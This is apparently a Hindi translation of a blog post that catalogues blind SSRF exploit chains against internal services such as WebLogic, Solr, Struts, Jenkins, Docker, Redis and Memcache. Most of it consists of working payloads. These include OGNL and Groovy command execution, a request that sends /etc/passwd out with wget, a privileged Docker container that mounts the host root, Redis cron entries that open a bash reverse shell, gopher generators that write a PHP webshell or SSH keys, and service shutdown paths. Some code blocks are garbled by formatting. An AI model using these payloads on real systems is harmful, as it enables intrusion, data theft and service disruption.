परिचय

सर्वर साइड रिक्वेस्ट फॉरजेरी (SSRF) क्या है?

सर्वर साइड रिक्वेस्ट फॉरजेरी तब होती है जब आप किसी सर्वर को आपकी ओर से मनमाने अनुरोध करने के लिए मजबूर कर सकते हैं। चूँकि अनुरोध सर्वर द्वारा किए जा रहे होते हैं, इसलिए नेटवर्क में सर्वर की स्थिति के कारण आंतरिक संसाधनों तक पहुँच संभव हो सकती है। क्लाउड वातावरण में, मेटाडेटा एंडपॉइंट्स की उपस्थिति के कारण SSRF अधिक महत्वपूर्ण जोखिम पैदा करता है, जिनमें संवेदनशील क्रेडेंशियल या रहस्य हो सकते हैं।

ब्लाइंड SSRF

सर्वर साइड रिक्वेस्ट फॉरजेरी का शोषण करते समय, हम अक्सर खुद को ऐसी स्थिति में पा सकते हैं जहाँ प्रतिक्रिया को पढ़ा नहीं जा सकता। उद्योग में, इस व्यवहार को अक्सर "ब्लाइंड SSRF" कहा जाता है। ऐसी स्थितियों में, हम प्रभाव कैसे साबित करें? यह एक दिलचस्प चर्चा थी जिसे जस्टिन गार्डनर ने ट्विटर पर छेड़ा था:

I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) January 13, 2021

यदि आप आंतरिक संसाधनों तक पहुँच सकते हैं, तो प्रभाव साबित करने के लिए कई संभावित शोषण श्रृंखलाएँ (exploit chains) निष्पादित की जा सकती हैं। यह ब्लॉग पोस्ट ब्लाइंड SSRF का लाभ उठाते समय प्रत्येक ज्ञात शोषण श्रृंखला के विवरण में जाने का प्रयास करती है, और जैसे-जैसे अधिक तकनीकें खोजी और साझा की जाती हैं, इसे अद्यतन किया जाएगा।

यदि हम कोई तकनीक चूक गए हैं, तो कृपया हमें एक ट्वीट या DM भेजें: @assetnote और हम इसे इस ब्लॉग में जोड़ देंगे।

SSRF कैनरीज़

I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.
— Frans Rosén (@fransrosen) January 13, 2021

यह सत्यापित करने के लिए कि आप आंतरिक सेवाओं या अनुप्रयोगों के साथ इंटरैक्ट कर सकते हैं, आप "SSRF कैनरीज़" का उपयोग कर सकते हैं।

यह तब होता है जब हम किसी आंतरिक URL का अनुरोध कर सकते हैं जो एक और SSRF करता है और आपके कैनरी होस्ट को कॉल करता है। यदि आपको अपने कैनरी होस्ट पर एक अनुरोध प्राप्त होता है, तो इसका मतलब है कि आपने सफलतापूर्वक एक आंतरिक सेवा को हिट किया है जो बाहरी अनुरोध करने में भी सक्षम है।

यह सत्यापित करने का एक प्रभावी तरीका है कि एक SSRF भेद्यता की आंतरिक नेटवर्क या अनुप्रयोगों तक पहुँच है, और यह भी सत्यापित करने के लिए कि आंतरिक नेटवर्क पर कुछ सॉफ़्टवेयर मौजूद हैं। आप SSRF कैनरी का उपयोग करके आंतरिक नेटवर्क के अधिक संवेदनशील भागों तक भी संभावित रूप से पहुँच प्राप्त (pivot) कर सकते हैं, यह इस बात पर निर्भर करता है कि यह कहाँ स्थित है।

आंतरिक होस्ट खोजने के लिए DNS डेटास्रोतों और AltDNS का उपयोग करना

लक्ष्य जितने संभव हो उतने आंतरिक होस्ट खोजना होने के साथ, DNS डेटास्रोतों का उपयोग उन सभी रिकॉर्ड्स को खोजने के लिए किया जा सकता है जो आंतरिक होस्ट की ओर इशारा करते हैं।

क्लाउड वातावरण में, हम अक्सर ELBs देखते हैं जो आंतरिक VPC के अंदर होस्ट की ओर इशारा कर रहे होते हैं। आप जिस एसेट को लक्षित कर रहे हैं वह किस VPC में है, इसके आधार पर उसी VPC के भीतर अन्य होस्ट तक पहुँच संभव हो सकती है।

उदाहरण के लिए, निम्नलिखित होस्ट DNS डेटास्रोतों से खोजा गया है:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

आप यह अनुमान लगा सकते हैं कि `es` Elasticsearch के लिए है, और फिर इस होस्ट पर आगे के हमले कर सकते हैं। आप इन सभी ब्लाइंड SSRF पेलोड्स को उन सभी "आंतरिक" होस्ट्स पर भी स्प्रे कर सकते हैं जिन्हें इस विधि के माध्यम से पहचाना गया है। यह अक्सर प्रभावी होता है।

अधिक आंतरिक होस्ट खोजने के लिए, मैं सुझाव देता हूँ कि आप अपना सारा DNS डेटा लें और फिर [AltDNS](https://github.com/infosec-au/altdns) जैसी किसी चीज़ का उपयोग करके क्रमपरिवर्तन उत्पन्न करें, और फिर उन्हें एक [तेज़ DNS ब्रूटफोर्सर](https://github.com/blechschmidt/massdns) से हल करें।

यह पूरा हो जाने के बाद, सभी नए खोजे गए आंतरिक होस्ट्स की पहचान करें और उन्हें अपनी ब्लाइंड SSRF श्रृंखला के भाग के रूप में उपयोग करें।

## साइड चैनल लीक

ब्लाइंड SSRF कमजोरियों का शोषण करते समय, आप लौटाई जा रही प्रतिक्रिया के बारे में कुछ जानकारी लीक कर पाने में सक्षम हो सकते हैं। उदाहरण के लिए, मान लीजिए कि आपके पास XXE के माध्यम से ब्लाइंड SSRF है, तो त्रुटि संदेश यह संकेत दे सकते हैं कि:

- एक प्रतिक्रिया लौटाई गई थी

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

बनाम

- होस्ट और पोर्ट अनुपलब्ध हैं

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

इसी तरह, XXE के अलावा, एक वेब एप्लिकेशन में भी साइड चैनल लीक हो सकता है जिसे निम्नलिखित के भीतर के अंतरों की जाँच करके पता लगाया जा सकता है:

- **प्रतिक्रिया स्थिति कोड**: 

ऑनलाइन आंतरिक एसेट:पोर्ट `200 OK` के साथ प्रतिक्रिया करता है बनाम ऑफलाइन आंतरिक एसेट:पोर्ट `500 Internal Server Error`

- **प्रतिक्रिया सामग्री**: 

प्रतिक्रिया का आकार बाइट्स में छोटा या बड़ा होता है, यह इस बात पर निर्भर करता है कि आप जिस URL को अनुरोध करने का प्रयास कर रहे हैं वह पहुंच योग्य है या नहीं।

- **प्रतिक्रिया समय**: 

प्रतिक्रिया का समय धीमा या तेज़ होता है, यह इस बात पर निर्भर करता है कि आप जिस URL को अनुरोध करने का प्रयास कर रहे हैं वह पहुंच योग्य है या नहीं।

---------------

# तकनीकें
**HTTP(s) के माध्यम से संभव**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [अन्य Atlassian उत्पाद](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix डैशबोर्ड](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**Gopher के माध्यम से संभव**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**उपकरण**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**HTTP(s) के माध्यम से संभव**

<div id="elasticsearch"></div>

## Elasticsearch

**सामान्यतः बाउंड होने वाला पोर्ट: 9200**

जब Elasticsearch आंतरिक रूप से तैनात किया जाता है, तो इसे सामान्यतः प्रमाणीकरण की आवश्यकता नहीं होती है।

यदि आपके पास आंशिक रूप से ब्लाइंड SSRF है जहाँ आप स्थिति कोड निर्धारित कर सकते हैं, तो जाँच करें कि क्या निम्नलिखित एंडपॉइंट 200 लौटाते हैं:```http
/_cluster/health
/_cat/indices
/_cat/health

यदि आपके पास एक ब्लाइंड SSRF है जहाँ आप POST अनुरोध भेज सकते हैं, तो आप निम्न पथ पर POST अनुरोध भेजकर Elasticsearch इंस्टेंस को बंद कर सकते हैं:

नोट: _shutdown API को Elasticsearch संस्करण 2.x और उससे ऊपर के संस्करणों से हटा दिया गया है। यह केवल Elasticsearch 1.6 और उससे नीचे के संस्करणों में काम करता है:```http /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown

<div id="weblogic"></div>

## वेबलॉजिक

**सामान्य बाउंड पोर्ट: 80, 443 (SSL), 7001, 8888**

**SSRF कैनरी: UDDI एक्सप्लोरर (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

यह GET के माध्यम से भी काम करता है:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

यह एंडपॉइंट भी CRLF इंजेक्शन के प्रति संवेदनशील है:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

इसका परिणाम निम्नलिखित अनुरोध होगा:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive

sdf

**SSRF Canary: CVE-2020-14883**

यहाँ से लिया गया [यहाँ](https://forum.90sec.com/t/topic/1412).

Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

<div id="consul"></div>

## Hashicorp Consul

**सामान्यतः बाउंड पोर्ट: 8500, 8501 (SSL)**

Writeup [यहाँ](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html) पाया जा सकता है।

<div id="shellshock"></div>

## Shellshock

**सामान्यतः बाउंड पोर्ट: 80, 443 (SSL), 8080**

शेलशॉक का प्रभावी ढंग से परीक्षण करने के लिए, आपको पेलोड युक्त एक हेडर जोड़ने की आवश्यकता हो सकती है। निम्नलिखित CGI पथ आज़माने योग्य हैं:

परीक्षण के लिए CGI पथों की संक्षिप्त सूची:

[पथों वाला Gist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).

**SSRF कैनरी: User Agent के माध्यम से Shellshock**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

सामान्यतः बाउंड पोर्ट्स: 80, 8080, 8888, 8082

Apache Druid के लिए API संदर्भ यहाँ देखें।

यदि आप स्टेटस कोड देख सकते हैं, तो निम्नलिखित पथों की जाँच करें कि वे 200 स्टेटस कोड लौटाते हैं या नहीं:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus

शटडाउन कार्य, आपको कार्य IDs या डेटासोर्स नाम का अनुमान लगाना आवश्यक है:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Apache Druid Overlords पर सुपरवाइज़र बंद करें:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown

<div id="solr"></div>

## Apache Solr

**सामान्यतः बाउंड पोर्ट: 8983**

**SSRF कैनरी: Shards पैरामीटर**

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">शुभम जो कह रहा है उसमें जोड़ने के लिए - solr के लिए स्कैन करना अपेक्षाकृत आसान है। एक shards= पैरामीटर है जो आपको SSRF से SSRF तक बाउंस करके यह सत्यापित करने की अनुमति देता है कि आप आँख बंद करके solr इंस्टेंस को हिट कर रहे हैं।</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 जनवरी, 2021</a></blockquote>

[यहाँ](https://github.com/veracode-research/solr-injection) से लिया गया।```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}

**dataImportHandler के माध्यम से RCE**

[dataImportHandler के माध्यम से RCE पर शोध](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

<div id="peoplesoft"></div>

## PeopleSoft

**सामान्यतः बंधे पोर्ट: 80,443 (SSL)**

इस शोध से लिया गया [यहाँ](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).

**SSRF कैनरी: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...

<div id="struts"></div>

## Apache Struts

**सामान्यतः बाउंड पोर्ट्स: 80,443 (SSL),8080,8443 (SSL)**

[यहाँ](https://blog.safebuff.com/2016/07/03/SSRF-Tips/) से लिया गया।

**SSRF Canary: Struts2-016**:

हर ज्ञात आंतरिक एंडपॉइंट/URL के अंत में इसे जोड़ें:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

सामान्यतः बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)

यहाँ से लिया गया।

SSRF कैनरी: URL से WAR डिप्लॉय करें```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

<div id="confluence"></div>

## Confluence

**सामान्यतः बाउंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)**

**SSRF कैनरी: Sharelinks  (नवंबर 2016 और उससे पुराने रिलीज़ किए गए Confluence संस्करण)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian सुरक्षा टिकट OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

<div id="jira"></div>

## Jira

**सामान्यतः बद्ध पोर्ट: 80,443 (SSL),8080,8443 (SSL)**

**SSRF कैनरी: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Atlassian सुरक्षा टिकट OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian सुरक्षा टिकट JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

<div id="atlassian-products"></div>

## अन्य Atlassian उत्पाद

**सामान्यतः बंधे पोर्ट: 80,443 (SSL),8080,8443 (SSL)**

**SSRF कैनरी: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Atlassian सुरक्षा टिकट OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

सामान्यतः बाउंड पोर्ट: 4242

OpenTSDB Remote Code Execution

SSRF कैनरी: RCE के माध्यम से curl```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

[OpenTSDB 2.4.0 रिमोट कोड निष्पादन](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF कैनरी: RCE के माध्यम से curl - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

सामान्यतः उपयोग किए जाने वाले पोर्ट: 80,443 (SSL),8080,8888

बेहतरीन लेख यहाँ.

SSRF कैनरी: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

**RCE**

GET के माध्यम से RCE प्राप्त करने के लिए यहाँ दिए गए निर्देशों का पालन करें: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

Groovy के माध्यम से RCE``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

<div id="hystrix"></div>

## Hystrix Dashboard

**सामान्यतः बाउंड पोर्ट: 80,443 (SSL),8080**

Spring Cloud Netflix, संस्करण 2.2.x पूर्व 2.2.4, संस्करण 2.1.x पूर्व 2.1.6।

**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

सामान्यतः बाउंड पोर्ट: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF कैनरी: CVE-2019-6715

यह एक PUT अनुरोध होना चाहिए:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

**SSRF Canary**

इस भेद्यता के लिए एडवाइज़री यहाँ जारी की गई थी: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)

यह PHP कोड आपके SSRF Canary होस्ट के लिए एक पेलोड उत्पन्न करेगा (`url` को अपने कैनरी होस्ट से बदलें):```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

सामान्यतः बाउंड पोर्ट: 2375, 2376 (SSL)

यदि आपके पास आंशिक रूप से ब्लाइंड SSRF है, तो आप Docker के API की उपस्थिति की पुष्टि करने के लिए निम्नलिखित पथों का उपयोग कर सकते हैं:```bash /containers/json /secrets /services

**एक मनमाना डॉकर इमेज चलाने के माध्यम से RCE**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

अपने डॉकर कंटेनर को चलाने के लिए आप जिस भी इमेज को चाहते हैं उससे alpine को बदलें।

Gitlab Prometheus Redis Exporter

सामान्यतः बाउंड पोर्ट: 9121

यह भेद्यता Gitlab के संस्करण 13.1.1 से पहले के इंस्टेंस को प्रभावित करती है। Gitlab दस्तावेज़ के अनुसार Prometheus and its exporters are on by default, starting with GitLab 9.0.

ये एक्सपोर्टर किसी हमलावर को CVE-2020-13379 का उपयोग करके अन्य सेवाओं पर pivot करने और हमला करने का एक उत्कृष्ट अवसर प्रदान करते हैं। आसानी से शोषित किए जाने वाले एक्सपोर्टरों में से एक Redis Exporter है।

निम्नलिखित एंडपॉइंट किसी हमलावर को target पैरामीटर के माध्यम से प्रदान किए गए redis सर्वर में सभी कुंजियों को डंप करने की अनुमति देगा:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

**गोफर के माध्यम से संभव**

<div id="redis"></div>

## Redis

**सामान्यतः बाउंड पोर्ट: 6379**

अनुशंसित पठन:

- [HTTP अनुरोधों के माध्यम से Redis को हैक करने का प्रयास](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Redis के विरुद्ध SSRF एक्सप्लॉइट्स](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**Cron के माध्यम से RCE** - [Gopher आक्रमण सतहें](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

**शेल अपलोड (PHP) के माध्यम से RCE** - [Redis Getshell सारांश](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

authorized_keys के माध्यम से RCE - Redis Getshell सारांश```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"

shell="\n\n\n\n"

sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd

if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

**Git प्रोटोकॉल के माध्यम से GitLab पर RCE**

Liveoverflow का बेहतरीन लेख [यहाँ](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)।

हालाँकि इसका शोषण करने के लिए GitLab तक प्रमाणित पहुँच आवश्यक थी, मैं पेलोड यहाँ शामिल कर रहा हूँ क्योंकि `git` प्रोटोकॉल उस लक्ष्य पर काम कर सकता है जिसे आप हैक कर रहे हैं। यह पेलोड संदर्भ के लिए है।```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

सामान्यतः बाउंड पोर्ट: 11211

vBulletin Memcache RCE
GitHub Enterprise Memcache RCE
Memcache के लिए उदाहरण Gopher पेलोड```bash gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/%0d%0adelete ssrftest%0d%0a

<div id="tomcat"></div>

